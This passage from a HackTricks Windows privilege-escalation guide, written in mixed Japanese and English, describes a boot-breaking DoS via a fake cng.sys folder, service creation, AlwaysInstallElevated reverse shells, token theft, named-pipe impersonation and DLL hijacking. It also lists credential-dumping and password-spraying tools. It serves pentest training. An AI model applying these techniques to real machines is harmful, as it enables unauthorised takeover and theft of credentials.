結果: C:\Config.Msi は SYSTEM によって削除される。
Arbitrary Folder Create から恒久的な DoS へ
このプリミティブを悪用すると、create an arbitrary folder as SYSTEM/admin が可能になります — ファイルを書き込めない場合や弱いアクセス許可を設定できない場合でも。
例えば、critical Windows driver の名前でフォルダー(ファイルではなく)を作成します。例:
C:\Windows\System32\cng.sys
- このパスは通常、
cng.sysカーネルモードドライバに対応します。 - 事前にそれをフォルダとして作成しておくと, Windowsはブート時に実際のドライバを読み込めません。
- その後、Windowsはブート時に
cng.sysを読み込もうとします。 - フォルダを検出すると、実際のドライバを解決できず, システムがクラッシュまたはブート停止します。
- フォールバックはなく, 外部からの介入(例:ブート修復やディスクアクセス)がない限り回復できません。
高整合性からSYSTEMへ
新しいサービス
すでに高整合性のプロセスで実行中であれば、SYSTEM への道は単に新しいサービスを作成して実行することで簡単に達成できます:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
tip
サービス用バイナリを作成する際は、それが有効なサービスであること、あるいは有効なサービスでない場合に 20 秒で強制終了されるため必要な処理を速やかに実行するバイナリであることを確認してください。
AlwaysInstallElevated
High Integrity プロセスから、enable the AlwaysInstallElevated registry entries を試みて、.msi ラッパーを使ってリバースシェルをinstall することができます。
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
You can find the code here.
From SeDebug + SeImpersonate to Full Token privileges
これらの token 権限を持っている場合(多くは既に High Integrity のプロセスで見つかるでしょう)、SeDebug 権限で(保護されたプロセスを除き)ほとんど任意のプロセスをopen almost any process し、そのプロセスの copy the token を行い、その token で create an arbitrary process with that token することができます。
通常この手法は、token の全権限を持つ SYSTEM として動作しているプロセスを選択します(yes, you can find SYSTEM processes without all the token privileges)。
You can find an example of code executing the proposed technique here.
Named Pipes
この手法は meterpreter が getsystem で権限昇格する際に使用されます。手法は creating a pipe and then create/abuse a service to write on that pipe という構成です。すると、SeImpersonate 権限を使ってパイプを作成したserver は、パイプクライアント(サービス)の impersonate the token が可能になり、SYSTEM 権限を取得できます。
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
もし SYSTEM として動作する process によって loaded される dll を hijack できれば、その権限で任意のコードを実行できます。したがって Dll Hijacking はこの種の権限昇格に有用で、さらに High Integrity プロセスからははるかに容易に達成可能です。High Integrity は dll をロードするフォルダに対してwrite permissions を持っているためです。
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Check for misconfigurations and sensitive files (check here). Detected.
JAWS -- Check for some possible misconfigurations and gather info (check here).
privesc -- Check for misconfigurations
SessionGopher -- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.
Invoke-WCMDump -- Extracts crendentials from Credential Manager. Detected.
DomainPasswordSpray -- Spray gathered passwords across domain
Inveigh -- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.
WindowsEnum -- Basic privesc Windows enumeration
Sherlock ~~~~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)
WINspect -- Local checks (Need Admin rights)
Exe
Watson -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne -- Extracts credentials from lots of softwares (precompiled exe in github)
SharpUP -- Port of PowerUp to C#
Beroot ~~~~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.
Windows-Privesc-Check -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
Bat
winPEASbat -- Tool created based in this post (it does not need accesschk to work properly but it can use it).
Local
Windows-Exploit-Suggester -- Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation -- Reads the output of systeminfo andrecommends working exploits (local python)
Meterpreter
multi/recon/local_exploit_suggestor
You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
参考文献
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks